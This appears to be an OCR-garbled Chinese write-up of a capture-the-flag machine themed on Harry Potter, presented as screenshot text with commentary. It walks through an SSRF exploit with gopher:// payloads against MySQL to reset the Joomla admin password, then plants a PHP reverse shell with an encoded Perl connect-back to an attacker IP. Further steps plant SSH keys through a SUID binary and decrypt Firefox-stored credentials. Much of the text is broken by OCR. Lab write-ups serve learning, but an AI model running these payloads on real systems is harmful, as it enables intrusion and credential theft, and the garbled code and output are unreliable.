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nmap -sP 192.168.179.0/24

® ~/Desktop
nmap 192.168.179.0/24

Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 08:29 EDT
Nmap scan report for 192.168.179.1
Host is up (0.00050s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.179.2
Host is up (0.00011s latency).
MAC Address: 00:50:56:E5:4E:7B (VMware)
Nmap scan report for quic.nagini.hogwartf] (192.168.179.130)
Host is up (0.00041s Llatency).
MAC Address: 00:0C:29:9A:3D:75 (VMware)
Nmap scan report for 192.168.179.254
Host is up (0.00020s latency).
MAC Address: 00:50:56:E9:04:32 (VMware)
Nmap scan report for 192.168.179.145
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned imti@s:¥@ogecdndst




nmap -sS -sV -p- -v 192.168.179.130

Nmap scan report for quic.nagini.hogwarts (192.168.179.130)

Host is up (0.00026s latency).

Not shown: 65533 closed ports

PORT ___STATF_SFRVTCF _VFRSTON

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb1Qu2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))

MAC Address: 00:0C:29:9A:3D:75 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/._/sharefnmap hitps://blog.csdn.netfweixin_50688050

BHEW ;RO

gobuster dir -u http://192.168.179.130 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Extensions: php,bak,html, txt

[+] Timeout: 10s

2021/06/01 08:36:26 Starting gobuster in directory enumeration mode

.htaccess.bak (Status: 403) [Size: 280]
.htpasswd. txt (Status: 403) [Size: 280]
.htaccess (Status: 403) [Size: 280]
.htpasswd.php (Status: 403) [Size: 280]
.htaccess.html (Status: 403) [Size: 280]
.htpasswd.bak (Status: 403) [Size: 280]
.htaccess.txt (Status: 403) [Size: 280]
.htpasswd (Status: 403) [Size: 280]
.htaccess.php (Status: 403) [Size: 280]
.htpasswd.html (Status: 403) [Size: 280]
.hta (Status: 403) [Size: 280]
JEa Ext (Status: 403) [Size: 280]
.hta.php (Status: 403) [Size: 280]
.hta.bak (Status: 403) [Size: 280]
.hta.html (Status: 403) [Size: 280]
/index.html (Status: 200) [Size: 97]
/index.html (Status: 200) [Size: 97]
/joomla (Status: 301) [Size: 319] [— http://192.168.179.130/joomla/]
/note.txt (Status: 200) [Size: 234]
/server-status (Status: 403) [Size: 280]

/
/
/
/
/
/
/
/
/
/
/
/
/
/
/

2021/06/01 ©8:36:32 Finished hitps://blog.csdn.netiweixin_50688050
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Helle developers!!

I will be using our new[HTTP3 Server at https://gquic.nagini.hogwarts for further communications.l
A1l developers are reguested to vislit the server regularly for checking latest announcements.

Regards,
site_amdin
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GITHUB LW &% : https://github.com/curl/curl/blob/master/docs/HT TP3.md
B—F R I  https://github.conV/cloudflare/quiche

—BHXKEZ: http://m.blog.chinaunix.net/uid-405749-id-5844453.html

L—( lali® kall)-[~/quiche/target/debug/examples |
$ ,..'n-_-.p3—c.1ie:u3113.3.2.7

<html>
<head>
<title>Information Page</title>
</head>
<body>
Greetings Developers !
I am having two announcements that I need to share with you:
1. we no longer require functionality at| /internalResourceFeTcher.php|in our| main production servers.So I will be removing the same by this week.
2. All developers are requested not to put any e (- n main production servers as they are readable by every one.
Regards,
site_admin
</body>
</html>
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Welcome to Internal Network Resource Fetching Page

Fetch

http://192.168.179.130/internalResourceFeTcher.php?url=file:///etc/passwd


https://github.com/curl/curl/blob/master/docs/HTTP3.md
https://github.com/cloudflare/quiche
http://m.blog.chinaunix.net/uid-405749-id-5844453.html

Welcome to Internal Network Resource Fetching Page

E—

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:xx:2:2:bin:/bin:/usr/shin/nologin sys:x:3:3:sys:;/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:
/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:Ip:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:
Jusr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ired:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:
Jusr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-
network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:;/run/systemd:/usr/shin/nologin
messagebus:x:104:110:/nonexistent:/usr/sbin/nologin avahi-autoipd:x:105:112:Avahi autoip daemon,,,;/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:
Jusr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:107:115:MySQL Server,,,;/nonexistent:/bin/false
snapex:1000:1000:Snape,,,./home/snape:/bin/bash ron:x:1001:1001:/home/ron:/bin/sh hermoine:x:1002:1002::/home/hermoine:/bin/bash
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joomscan -u http://192.168.179.130/joomla -ec

nfig file
path : http: 79 0/joom 1figuration.php.t

https )g.csdn.ne
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wget http://192.168.179.130/joomla/configuration.php.bak
cat configuration.php.bak



wget http://192.168.179.130/joomla/configuration.php.bak
-2021-06-01 09:12:10—- http://192.168.179.130/joomla/configuration.php.bak
onnecting to 192.168.179.130:80... connected.
TTP request sent, awaiting response... 200 OK
ength: 1978 (1.9K) [application/x-trash]
baving to: ‘configuration.php.bak’

onfiguration.php.bak 100%[ > 1.93K --+-—KB/s

P021-06-01 09:12:10 (130 MB/s) - ‘configuration.php.bak’ saved [1978/1978]

..} ~/Desktop
cat configuration.php.bak hitps://blog.csdn.netiweixin_50688050 1

UOIT.
public $display_offline_message
public $offline_image = '';
public $sitename = 'Joomla CMS';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug _lang = '0';
public $debug lang const = '1';
public $dbtype = 'mysqli’;
public $host = 'localhost';
public $user = 'goblin';
public $password = '';
public $db = 'joomla';
public $dbprefix = 'joomla_';
public $live_site = '°;
public $secret = 'ILhwP6HTYKcN7gMh';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{m
g={langcode}"';
public $ftp_host
public $ftp_port
public $ftp_user
public $ftp_pass
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail’;
public $mailfrom = 'site_admin@naghivis:Hoeuasdsrgtweixin_50688050

T 2% H B Gopherus: https:/github.com/tarunkant/Gopherus

BT EEREpip2 , WFkalidtEpip2 %



https://github.com/tarunkant/Gopherus

https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2
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mysql

$_SpyD3r_$

goblin
show databases;

dv to do

%00%00%00%00%00%00%00%00%00%00%00%00%00%O0%67%6 f%62%6c%69%06e%00%00%6d%T7 %7 3%7 1%6c%5 f%6eX%61%
74%69%76%65%5T%70%61%73%73%7 7%6f%72%64%00%66%03%5 %6 T5%73%05%4 c%69%6e%75%78%0 cH5 f%63%6Cc%69%6
5%6e%74%5f%6e%61%6d%65%08%6 c%69%62%6d%79%7 3%7 1%6 c%04%5 %7 0%69%64%05%32%3 7%32%3 5%35%0 f %5 %63
%6CH%69%65%6e%7 4%5F%76%65%7 2%7 3%69%6 f%6e%06%35%2e%37%2e%32%32%09%5 F%70%6c%61%7 4%66%
06%78%38%36%5T%36%34%0Ch70%72%6T%67%72%61%6d%5 f%6e%61%6d%65%05%6d%79%73%71%6c%10%
3%73%68%61%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01  hit S

http://192.168.179.130/internalResourceFeTcher.php?url=gopher:%2f%2f127.0.0.1:3306%2f_%25a5%2500%2500%2501%
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€ 5.5.5-10.3.27-MariaDB-0+deb10u1f]'}bSYE- § § - § Q2FGo|Bq3ITKmysql_native_passwordKdefinformation_schemaSCHEMATASCHEMATADatabaseSCHEMA_NAME!§ ¢
informationischem“

HRA

USE joomla; SHOW tables;

http://192.168.179.130/internalResourceFeTcher.php?url=gopher:%2f%2f127.0.0.1:3306%2f_%25a5%2500%2500%2501%



¢ 5.5.5-10.3.27-MariaDB-0+deb10u1SBx[;Sp[V ¢ &-¢ €!joomla_privacy requests?joomla_redirect_links@joomla_schemasAjoomla_sessionBjoomla_tagsCjoomla_template_stylesD

joomla ucm_baseEjoomla ucm contentFjoomla ucm_ historyGjoomla update sitesHjoomla update sites extensionsljoomla updatesJjoomla user keysKjoomla user notesL
joomla user profilesMjoomla user usergroup mapNjoomla usergroups Qjoomla usersPjoomla utf8 conversionQjoomla viewlevelsR@"

R T IS

USE joomla; SELECT * FROM joomla_users;
http://192.168.179.130/internalResourceFeTcher.php?url=gopher:%2f%2f127.0.0.1:3306%2f_%25a5%2500%2500%2501%

I

¢ 5.5.5-10.3.27-MariaDB-0+deb10u11&gVY>fhVé ¢ - @X5>v[F-Kr~Cpmysql_native_password @ joomIanefjoomIanmIa_usersjoomIa_usersidid?B<defjoomlajoomla_users
joomla usersnamename!@ ¢ @Ddefjoomlajoomla_usersjoomla_usersusernameusername!§ € @ >defjoomlajoomla_usersjoomla usersemailemail!, ¢ @Ddefjoomlajoomla users
joomla_userspasswordpassword!, € > defjoomlajoomla_usersjoomla_usersblockblock? @F defjoomlajoomla_usersjoomla_users sendEmail sendEmail?L defjoomlajoomla_users
joomla_usersregisterDateregisterDate? @ Ndefjoomlajoomla_usersjoomla_users lastvisitDate lastvisitDate? € Hdefjoomlajoomla_usersjoomla_users activation activation!, ¢ @ def
joomlajoomla usersjoomla usersparamsparams! @ @ @Ndefjoomlajoomla_usersjoomla_users lastResetTime lastResetTime?@Hdefjoomlajoomla usersjoomla users resetCount
resetCount?@defjoomlajoomla_usersjoomla_usersotpKeyotpKey! ¢ € <defjoomlajoomla_usersjoomla_usersotepotep! § ¢ Ldefjoomlajoomla_usersjoomla_usersrequireReset
requireReset?§675 Super User site_adminsite admin@nagini.hogwarts <$2y$10$540q6pbf80u0C9gAGEkcou2.Reo.fo.sKIMZ09bVAOLCyIltbrF9y012021-04-03 17:25:082021-06-01
08:24:460{}0000-00-00 00:00:0000¢ "

&I

~/Desktop
mysql

goblin
USE joomla; SELECT password FROM joomla_users WHERE email='site_admi

.. .
@nagini.hogwarts’;

http://192.168.179.130/internalResourceFeTcher.php?url=gopher:%2f%2f127.0.0.1:3306%2f_%25a5%2500%2500%2501%

¢ 5.5.5-10.3.27-MariaDB-0+deb10u1§Ob"{hu8R €€ @ rkBFXMVF>Alimysql_native_password @ joomla§ € (#42000You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use near '@nagini.hogwarts’ ' atline 1

BAOAFIEWRE L THBR A IEEE IR, MENEZANT

BHARBMNE MM 4 4goblin, #i%o8%, BT LUlidupdataks 341 B T ¥ B # #5558 5T 21508 2 P ik
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BATE R FE L 2 password md5(E A: 5f4dcc3b5aa765d61d8327deb882cf99



B2 3 5 0 B BdE P

USE joomla; UPDATE joomla_users SET password=’5f4dcc3b52a765d61d8327deb882cf99’ WHERE email=’site_admin@nag

http://192.168.179.130/internalResourceFeTcher.php?url=gopher:%2f%2f127.0.0.1:3306%2f_%25a5%2500%2500%2501%

¢ 5.5.5-10.3.27-MariaDB-0+deb10u110KgIr'dF ¢ ¢-€ ¢ny7E4q~d]%>Gmysql_native password @ joomla0 (Rows matched: 1 Changed: 0 Warnings: 08defjoomlajoomla_users
joomla_usersidid?B<defjoomlajoomla_usersjoomla_usersnamename! g ¢ @Ddefjoomlajoomla_usersjoomla_usersusernameusername!§ @ >defjoomlajoomla_usersjoomla_users
emailemail!, @ @Ddefjoomlajoomla_usersjoomla_userspasswordpassword!,€ > defjoomlajoomla_usersjoomla_usersblockblock? @F defjoomlajoomla_usersjoomla_users sendEmail
sendEmail?Ldefjoomlajoomla_usersjoomla usersregisterDateregisterDate? @ Ndefjoomlajoomla usersjoomla users lastvisitDate lastvisitDate?@H defjoomlajoomla users
joomla_users activation activation!,¢ @defjoomlajoomla_usersjoomla_usersparamsparams!¢ ¢ ¢Ndefjoomlajoomla_usersjoomla_users lastResetTime lastResetTime? §Hdefjoomla
joomla usersjoomla_users resetCount resetCount? @defjoomlajoomla_usersjoomla_usersotpKeyotpKey! ¢ @ <defjoomlajoomla_usersjoomla usersotepotep! ¢ @Ldefjoomla
joomla_usersjoomla_usersrequireResetrequireReset?§675 Super User siteﬁadminsiteﬁadmin@nagini.hogwarts{ 5fAdcc3b5aa765d61 d8327deb882cf99p12021 -04-03 17:25:08

2021-06-01 08:24:460{}0000-00-00 00:00:0000¢"
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4 192.168.179.130

i @ surRTE

1 & R,

=Wz #shell

Linuxss&FA-3z.. B 20200 E=52e 4.. ) Rpr




¥ sefEkali b IT R M O

~{Desktop

istening on [:

1
|

EXEEEARAE

Menus + Content + Components ~ | Extensions ~ | Help ~
Manage
Site - . Modules Q
Plugins
- Image Ter [ Templates ] Styles
Be Language(s)

options.
Siyies Site - Q Clear

Beez3 Details and Files
No preview available. You can enable preview in the
options

Clear

Templates 10

No preview available. You can enable preview in the

Version

31.0

ersion Date

25 November 2009

@ | Help

Template ascending
Date Author

25 November 2009 Angie Radtke
a radtke@derauftritt de

http://www der-auftritt de

Protostar Details and Files
No preview available. You can enable preview in the
options
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Create or Upload a new file.

& css ~
& himl File Name rev php E|
& com_media
& imageslist
& layouts

@ joomla

& form ABEENAT,

& ficld Maximum upload size: 8.00 MB

& system

& images

& system
& img
= s
& language

& en-GB
& less

| Close

HAphpk#AR G



<?php

function which($pr) {

$path = execute("which $pr");
return ($path ? $path : $pr);
}

function execute($cfe) {

$res = '';

if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);

$res = join("\n",$%res);

} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);

} elseif(function_exists('system')) {
@ob_start();

@system($cfe);

$res = @ob_get_contents();
@ob_end_clean();

} elseif(function_exists('passthru’)) {
@ob_start();

@passthru($cfe);

$res = @ob_get_contents();
@ob_end_clean();

} elseif(@is_resource($f = @popen($cfe,”"r"))) {
$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

¥

function cf($fname,$text){
if($fp=@fopen($fname, ‘w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);

¥

}
$yourip = "192.168.179.145";

$yourport = '1234';

$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wzZXJsDQp1lc2UgU297ja2VeOwoKIGNtZDOgImx5bngiOwOKIHN5c3R1bTOgI2VjaG8gImBlbmFtZSAt
"aG8gImBpZGAiOy9ialW4vc2gnOwOKIDA9IGNtZDsNCiROYXINZXQ9IEFSR1ZbMFO7DQokcGO9ydDOkQVIHV1sxXTsNCiRpYWRkcjlpbmVeX2
"hcmd1ldCkgfHwgZG11KCIFcnIvcjoglCFcbiIpOwOKIHBhZGRYPXNvY2thZGRyX21uKCRwb3J0OLCAkaWFkZHIpIHX8IGRpZSgiRXJyb3I61I
"SNCiRwcm90bz1nZXRwcm90b2I5bmFtZSgndGNwlyk7DQpzb2NrZXQoUe9DSOVULCBQR19ITkVULCBTTONLX1INUUKVBTSwgIHBYb3RVKSBS8
"kVycm9y0iAkIVxuIik7DQpjb25uZWNOKFNPQOtFVCwgIHBhZGRyKSB8fCBkaWUoIkVycm9y0iAkIVxuIik7DQpvcGVUKFNURELIOLCAiPiZ
"KTSNCmOwWZW40oU1RET1VULCAiPiZTTONLRVQiKTsSNCmOwWZWA4oU1RERVISLCAiPiZTTONLRVQiKTsNCnNN5c3R1bSgkc31zdGVEKTsNCmNsb3
"OKTsNCmNsb3N1KFNURESVVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back connect);

$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");

?>

REBBERMGERXIL T, XM REMNMN ERE, AREBM— T REEREE, & T7FREKE
XAMBAR 7 R R B E O IP sk A0 W8 0T (35 05 2507 sk ar B
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http://192.168.179.130/joomla/templates/protostar/rev.php

182.168.179.130/joomla/ten X

“ > C @ 2.168.179.1: e @ 1 N @D

o Kali Linux % Kali Training % Kali Tools & Kali Forums < KaliDocs e NetHunter Offensive Security

B Ih getshell

. ~/Desktop

2.168.179.145] from (UNK 6! p] ¢
Lin agini 4.19.08-1¢ 64 #1 SMP Debi d 3 ) 6_64 GNU/Linux
uid ( ata) gi ata) groups )
who

F] F python# 37 7] 32 H Kshell

python3 -c "import pty;pty.spawn('/bin/bash"')"

BUFR #2 7+
HENFISE BT, I BRI odscf

ar/wi /html/joomla
o/ v /html$| 1s -al
root

root
root

root

ron
root
root T 6 i .ngi debian.html

i ourceFeTcher.php
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cat horcruxl.txt
horcrux_{MzogU2x5dGhFcm1033MgTG9jSOV1dCBKRXNOCcmIZZUQgY1kgUm9oO}

WA AR Tflag, FEMRLZAMFELNR, HREKAEHIRH27AMER, Lk TR
AR % Ji T B (L% I n % 77 2R 2 — 4 BT LA IR A {3 base 64 J5 15 2l

3: SlythEriN's LocKEet dEstroYeD bY RoN

HBFXHERTEE

gini:/home$ ls

'moine snape
ini:/home$ cd hermoine

:/home/hermoine$ 1s -al

6 hermoine hermoine 4096
root root ! .
hermoine hermoine r & 1§ .gnupg

> hermoine hermoine 4096 .mozilla
hermoine hermoine ; ] .55h
hermoine !
he 1

agini:/home$ 1s

snape
-data@Nagini:/home$ cd hermoine

:/home/hermoine$ 1s -al

— =

hermoine hermoine 4896 Apr
root roc 4996 Apr .

3 hermoine hermoine 4896 Apr 4 1@:42 .gnupg
hermoine hermoine 4896 Jun .mozilla
hermoine hermoine 48096 Apr & 17 .55h

rmoine 4896 Apr ; bin
oi Apr, t16 hore

aoooo Qe

r—— 1 hermoine hermoine 75 Apr 4 0@:
/home/hermoine$ cat horcru

Permission denied



BA R A B A
EHEDINE R THIMF

ermoine hermoine

H&HIEEI&I A *Ja569cclcs
gnu. bu11d id.gnu.hash.dynsym.
e_hdr.eh_fr

w-data@Nagini:/var/wew/html$ cd /home

d /home

wew-data@Nagini:/home$ 1s

1ls

hﬁlmﬂlnﬁ :
; 1:/home$ cd snape

i:/home/snape$ 1s -al

cat .creds.txt

TG92ZUBsaWxseQ==



i:/home/snape$

XA LR & R baseb4 inz i RN EE
Love@lilly

G RAHEAE, A BE & snapef) &G

www-datamMagini: /home/snape$ su snape
qufwoxd Lovemlilly

snapegMagini:~$% whoami
whoami

snape

snapegMagini:~$

R 3h % F snapefd
ff Fissh& 3

ssh snape@192.168.179.130

jNagini:~% cd /home
INagini: $ 1s

agini: $ cd hermonine
cd: hermonine: No such file or directory
i $ cd hermoine
$ find / -perm -u=s 2 ev/null

ssh-keygen
—HEEIRE

~/Desktop
{1]]
Z9nrchNvWweP,/DH
8L8 QpRrTfH

FaF\rTumInuqu=

¥1% P 25 & #1 Blsnap T i/home/snape



echo "ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABgQDNBF+fV2dgq2xFfrDKepkzr5WRN2FDhL93YsS3wmz9nrcNvW6P/DHUyLvTminxS
<M5dy76tp13ZpR6DcMHCaATs6HUb91z4VFEKO= root@locahost

> >authorized_keys

chmod 640 authorized_keys
1s -al

snape
root root

uthorized_keys

.bash_Logout

LT A R SR S S - -

.profile

.5s5h

.viminfo
sdn.

[T T T T T
=T

EEEEEE

[N

snape@iNagin

[

cd /home/hermoine/bin
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
1s -al

uthorized_keys /home/hermoine/.ssh/

hermoine
hermoine he ine NG r 39

7 su0_cn

2 hermoine rmoine 4096
hermoine hermoine

fEkali b
ssh hermoine@192.168.179.130 -i .ssh/id_rsa

S
BAT LM T IXAZ AN T 7 UAHE G EFKhermoinelX M/

% Ih & % hermoine



-
.ss5h/id rsa
SMP Debian 4.19.181-1 |

The
the

hermoine hermoine 4@
root root
hermoine hermoine
3 hermoine hermoine 4@
hermoine hermoine
ermoine
i hermoine

Ll =

S S S o

hermoinegNagini : ~!

R A INE B

2 F horcrux2. txt. X AN 3O 44

cat horcrux2.txt
horcrux_{NDogSGVsZ2EgSHVmZmx1cHVmZidzIEN1cCBkZXNOcm95ZWQgYnkgSGVybWlvbmu=}

XA B R baseb4 N % 5 % X, R G153

4: Helga Hufflepuff's Cup destroyed by Hermione

BURR 32 T+

cd .mozilla/firefox/g2mhbg@o.default/
1s -al



hermoine hermoine 4@96 ] 2020 gmp-gmpopenh264
hermning I ar handlers. json
hermoine hermoine 4.db

hermoine hermoine 1 R H —= 192.1
hermoine hermoine @ e & :35 logins-backup.ijson
hermoine hermoine 0 r A4 z logins. json
hermoine hermoine LUyt ; I minidumps

hermoine hermoine @ r A4 z .parentlock
hermoine hermoine r A4 136 permissions.sqglite
hermoine hermoine ; pkcsll.txt
hermoine hermoine ;
hermoine hermoine
hermoine hermoine
hermoine hermoine

e =W

ch

oh h

hermoine hermoine

hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine hermoine
hermoine oine
hermoine noine
hermoine

-

.t

m

1]

: jsonlzé

[ e e e Ll o s B I I S ST P P S
=

-+

WwLwmwm W Wi
-

-+

N = =

which python
which python3

hermoine@Nagini:~/.mozilla 2mhbg@o.default$ which python
hermoinegNagini .mozilla/firef mhbg@o.default$ which python3

fusr/bin/python3

F) F python3 &1 & — /™ http IR 5%

python3 -m http.server 9000

M A TR U B o R R P 48 AN
GITHUB:https://github.comvIclevy/firepwd

THZECI| A HIFRE

unzip firepwd-master.zip
cd firepwd-master
sudo pip install -r requirements.txt

mkdir creds

cd creds

cp ~/Desktop/firepwd-master/firepwd.py ~/Desktop/firepwd-master/creds
wget http://192.168.179.130:9000//logins.json

wget http://192.168.179.130:9000//key4.db

oints.js

on

eriments



https://github.com/lclevy/firepwd

python3 firepwd.py

globalSalt:
SEQUE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.848.113549.1.12.5.1.3 pbeWithShalAndTripleDES
SEQUENCE {
OCTETSTRING b'@bceiaaf96a7@
INTEGER b'@1’
}

J76T72€

ck? True

SEQUENCE {
OBJECTIDENTIFIER 1.2
SEQUENCE {

OCTETSTRING b'11c7
INTEGER b'@1"'
}

bETETSTEINE b'ceedd7@alcfd8295250bcfedS

PRI B EE 5 K S A

B2 IX A RIBAT KB %R T — "ModuleNotFoundError: No module named 'Crypto'

pip3 install pycrypto AR MR

WIE X R T — M iRModuleNotFoundError: No module named 'Crypto.Util.Padding'

pip3 install pycryptodome B — MR

BT BURAEAT T
ZE3)EH R

Y E K S ME TR
5. root

#19: @Alohomora#123

?mhbg@o.default$ cd /home




cd /home/root
1s -al

]

.selected_editor
.55h

.viminfo

1
1
1
1
1
1
1
1
1

Z3 /5 — A nELE
BEE IO

cat horcrux3.txt

horcrux_{NTogRG1hZGVtIGOMIFJhdmVuY2xhdyBkZXNOcm95ZWQgYnkgSGFycnk=}

i

35— BN R

5: Diadem of Ravenclaw destroyed by Harry
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